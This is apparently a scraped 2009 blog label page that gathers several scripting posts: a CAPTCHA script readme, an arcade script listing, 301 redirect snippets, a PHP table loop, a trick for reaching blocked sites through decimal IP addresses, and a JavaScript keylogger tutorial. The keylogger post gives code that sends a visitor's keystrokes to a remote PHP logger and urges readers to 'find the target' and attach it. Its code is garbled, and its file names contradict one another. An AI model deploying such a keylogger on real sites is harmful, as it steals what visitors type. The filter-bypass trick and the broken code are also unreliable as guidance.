Tampilkan postingan dengan label Script. Tampilkan semua postingan
Tampilkan postingan dengan label Script. Tampilkan semua postingan

Senin, 13 Juli 2009

Anti Spam Scrips

Bookmark and Share

Anti Spam scripts that will protect your forms to be submited by spammer's bots. Captcha (an acronym for "Completely Automated Public Turing test to tell Computers and Humans Apart" ) is the most common and effertive spa, protction technique

Captcha is a type of challenge-response test used in computing to determine whether or not the user is human or spammer's robot. A CAPTCHA involves one computer (a server) which asks a user to complete a test. While the computer is able to generate and grade the test, it is not able to solve the test on its own. Because computers are unable to solve the CAPTCHA, any user entering a correct solution is presumed to be human.

Protect your forms from spammers with these free php spam protection scrips



I. DESCRIPTION



Image Validator is a GPL CAPTCHA php script to stop spam on any form: comment areas, sign-ups, shopping carts - any area of your website where you fear the evil spammers may target.





II. REQUIREMENTS



1. Apache 1 or 2

2. PHP 4 or 5

3. GD 2 with truetype support





III. INSTALLATION



0. Unpack this package.

1. You may edit _config.php file located in imgval directory.

2. You may copy some TrueType fonts in imgval/fonts directory.

2. Upload or copy imgval directory to browsable directory.

3. Open imgval/index.php in your browser for testing.





IV. INTEGRATION NOTES



In tag, 'src' parametter should be linked with imgval/code.php.



Example: .



To prevent cache images you may add some unique parameter.



Example: " />



Your should start a session in the response PHP file. In the valid action

PHP source code you should verify MD5 sum of the input-code-field-value

with session variable named __img_code__



Example:



if (md5($_POST['code']) == $_SESSION['__img_code__'])

echo "Valid code";

else

echo "Invalid code";

Free Arcade Script - PHP Script

Bookmark and Share

ee Arcade script for your gaming site.

Full Arcade Script Features:

Admin Panel
» Add Game (Self hosted or enabled hosted)
» Manage Games (Edit/Delete)
» Add Category
» Manage Categories (Delete/Edit)
» Add Link
» Manage Links (Delete/Edit)
» Approve Comments (Delete/Approve)
» Site Settings

Frontend Features
» Categories
» Top Users
» Links
» Statics of website
» Ajax Rating
» Game Comments
» Most Played Games
» Newest Listed Games
» Search for Games

User Accounts
» Comment on Games
» Add games to favorites
» Change password

Server Requirements
» PHP 4+
» 1 MySQL Database



Script Details
Website:Home of Free Arcade ScriptPopular
Free Demo:Demo
Free Download:Download
Average Visitor Rating:4.76 (Out of 5)
Number of ratings:8
Hits:2552
Added:2009-01-12 04:14:54
Last updated:2009-01-12 04:18:25

301 Redirect

Bookmark and Share

301 redirect is the most efficient and Search Engine Friendly method for webpage redirection. It's not that hard to implement and it should preserve your search engine rankings for that particular page. If you have to change file names or move pages around, it's the safest option. The code "301" is interpreted as "moved permanently".




Below are a Couple of methods to implement URL Redirection


IIS Redirect



  • In internet services manager, right click on the file or folder you wish to redirect

  • Select the radio titled "a redirection to a URL".

  • Enter the redirection page

  • Check "The exact url entered above" and the "A permanent redirection for this resource"

  • Click on 'Apply'


Redirect in ColdFusion


<.cfheader statuscode="301" statustext="Moved permanently">

<.cfheader name="Location" value="http://www.new-url.com">



Redirect in PHP



Header( "HTTP/1.1 301 Moved Permanently" );

Header( "Location: http://www.new-url.com" );

?>



Redirect in ASP


<%@ Language=VBScript %>

<%

Response.Status="301 Moved Permanently" Response.AddHeader "Location", " http://www.new-url.com"

>



Redirect in ASP .NET






Redirect Old domain to New domain (htaccess redirect)


Create a .htaccess file with the below code, it will ensure that all your directories and pages of your old domain will get correctly redirected to your new domain.

The .htaccess file needs to be placed in the root directory of your old website (i.e the same directory where your index file is placed)


Options +FollowSymLinks

RewriteEngine on

RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]


Please REPLACE www.newdomain.com in the above code with your actual domain name.


In addition to the redirect I would suggest that you contact every backlinking site to modify their backlink to point to your new website.


Note* This .htaccess method of redirection works ONLY on Linux servers having the Apache Mod-Rewrite moduled enabled.




Redirect to www (htaccess redirect)


Create a .htaccess file with the below code, it will ensure that all requests coming in to domain.com will get redirected to www.domain.com

The .htaccess file needs to be placed in the root directory of your old website (i.e the same directory where your index file is placed)


Options +FollowSymlinks

RewriteEngine on

rewritecond %{http_host} ^domain.com [nc]

rewriterule ^(.*)$ http://www.domain.com/$1 [r=301,nc]


Please REPLACE domain.com and www.newdomain.com with your actual domain name.


Note* This .htaccess method of redirection works ONLY on Linux servers having the Apache Mod-Rewrite moduled enabled.




How to Redirect HTML


Please refer to section titled 'How to Redirect with htaccess', if your site is hosted on a Linux Server and 'IIS Redirect', if your site is hosted on a Windows Server.


http://www.webconfs.com/

Go through a proxy server with IP Decimal

Bookmark and Share

This is a trick to cut block the site from the ISP or cafe, or your office ...
but with a different trick ...
This is Poc ...

1. Open cmd
Start>> All Programs>> Accesories>> Command Prompt

2. type ping terblock to the site we see addressnya ip ...
I cite here http://www.youtube.com
because there are some ISP that block this site ...
Code: Select all
ping www.youtube.com

then we can see the ip addressnya namely:
we get the ip addressnya:

Code: Select all
208.177.236.70
3. enter this address to

Code: Select all
http://www.allredroster.com/iptodec.htm
we have made to decimal:

we see the results ...

Code: Select all
Decimal ip address of 208.177.236.70 is HTTP: / / 3497389126

4. After the meet move HTTP: / / 3497389126 devotion to your browser!
and the results:

see you succeed

5. This is a trick you can use in addition to the 4 trick ...

6. Wait for my next post is still with the same theme but a different tricks!

7. Many roads leading to Mecca (Prayer is my pilgrimage yee .. ha ... ha ..

Make Keylogger with javascript on the website

Bookmark and Share

At this time I will discuss a bit about Javascript Keylogger.

Wow ... Moreover tuh, Google may be able to answer you questions.

Oke without many words directly aja yah ...

First, open notepad or a pet you like WordPad, Notepad ++... The point is up ...

Then paste the following code:


[+]----------------------------------------------- -------------------


var key ='';

var space = ''

function start ()

(

var xmlhttp;

if (window.XMLHttpRequest)

(

/ / Code for IE7 +, Firefox, Chrome, Opera, Safari

xmlhttp = new XMLHttpRequest ();

)

else if (window.ActiveXObject)

(

/ / Code for IE6, IE5

xmlhttp = new ActiveXObject ( "Microsoft.XMLHTTP");

)

else

(

alert ( "Browser Support XMLHTTP You Not!");

)

xmlhttp.open ( "POST", "http://yoursite/open.php", true);

xmlhttp.send (null);

)

ajaxFunction function ()

(

var xmlhttp;

if (window.XMLHttpRequest)

(

/ / Code for IE7 +, Firefox, Chrome, Opera, Safari

xmlhttp = new XMLHttpRequest ();

)

else if (window.ActiveXObject)

(

/ / Code for IE6, IE5

xmlhttp = new ActiveXObject ( "Microsoft.XMLHTTP");

)

else

(

alert ( "Your browser does not support XMLHTTP");

)

xmlhttp.open ( "POST", "http://yoursite/write.php?d =" + key, true);

xmlhttp.send (null);

)

document.write ('');


[+]----------------------------------------------- -------------------


Then save it with the name keylog.js ... Remember, JS extension. And one should not forget, "yoursite" is replaced with

URL of your own ...

Create more open.php and write.php in notepad with the following script


open.php


[+]----------------------------------------------- -------------------


$ data = $ _GET [ 'd'];

$ fp = fopen ( 'log.txt', 'a');

fwrite ($ fp, $ data);

fclose ($ fp);

?>


[+]----------------------------------------------- -------------------


salin.php


[+]----------------------------------------------- -------------------


$ data = $ _GET [ 'd'];

$ fp = fopen ( 'log.txt', 'a');

fwrite ($ fp, $ data);

fclose ($ fp);

?>


[+]----------------------------------------------- -------------------


And now you have three files namely keylog.js, open.php, write.php ...

Because I try in localhost then I'll try to make a simple HTML script

that will be used as my own website.


[+]----------------------------------------------- -------------------


Type What You Like That




[+]----------------------------------------------- -------------------


And store with the name zhecou.html

Well if you want to put it in your website then you simply add


[+]----------------------------------------------- -------------------



[+]----------------------------------------------- -------------------


Ngerti? Now place the four files zhecou.html, keylog.js, open.php and start.php

in the same directory. Well I in my directory C: mysite

because I use WAMP server

Now therefore, I will change the URL in the keylog.js be


[+]----------------------------------------------- -------------------


http://localhost/mysite


[+]----------------------------------------------- -------------------


Practice


So when you open a browser and direct you to http://localhost/mysite/zhecou.html

Well here you can type are

I will type "Many Thanks Dah guzzle You To See The Article Here"


So you will see the emergence hasil.txt that contain those words

Okay here until the first well, this article may be less useful but ... Only that

I can give ...

Now that you have to do is find the target and attach to keylog

I really comparable with the r57, C99, C100, dkk but definitely happy to be developed if ..




Table rows

Bookmark and Share

A common function on many php (or other data driven) sites is to loop through an array and write the contents of the array to the page. It is preferable to spread your data over multiple columns instead of writing it all in a straight list thus forcing your readers to scroll forever. Here is an easy way to dynamically write your cells and rows using expressions.

























  1. $names=explode(",","Joe,Lisa,Bill,Roger,Fred,Kenney");






  2. $counter=-1;






  3. while (list(,$value)=each ($names))






  4. { $counter=$counter+1;






  5. ";





  6. //this is the key - if field has no remainder then field is in second column






  7. $newrow=($counter % 3);






  8. //echo $newrow;






  9. if ($newrow == 2) echo "
  10. " ;





  11. } // end of while






  12. //****This will write the data in three cells per row. To only do two cells






  13. //** per row change the 3 in the $newrow definition to a 2 and the






  14. //** comparison to a 1.






  15. ?>






  16. " . $names[$counter] . "&nbsp
    &nbsp

Followers


junkelse by Junkelse. Powered by Blogger and Supported by kuchino.blogspot.com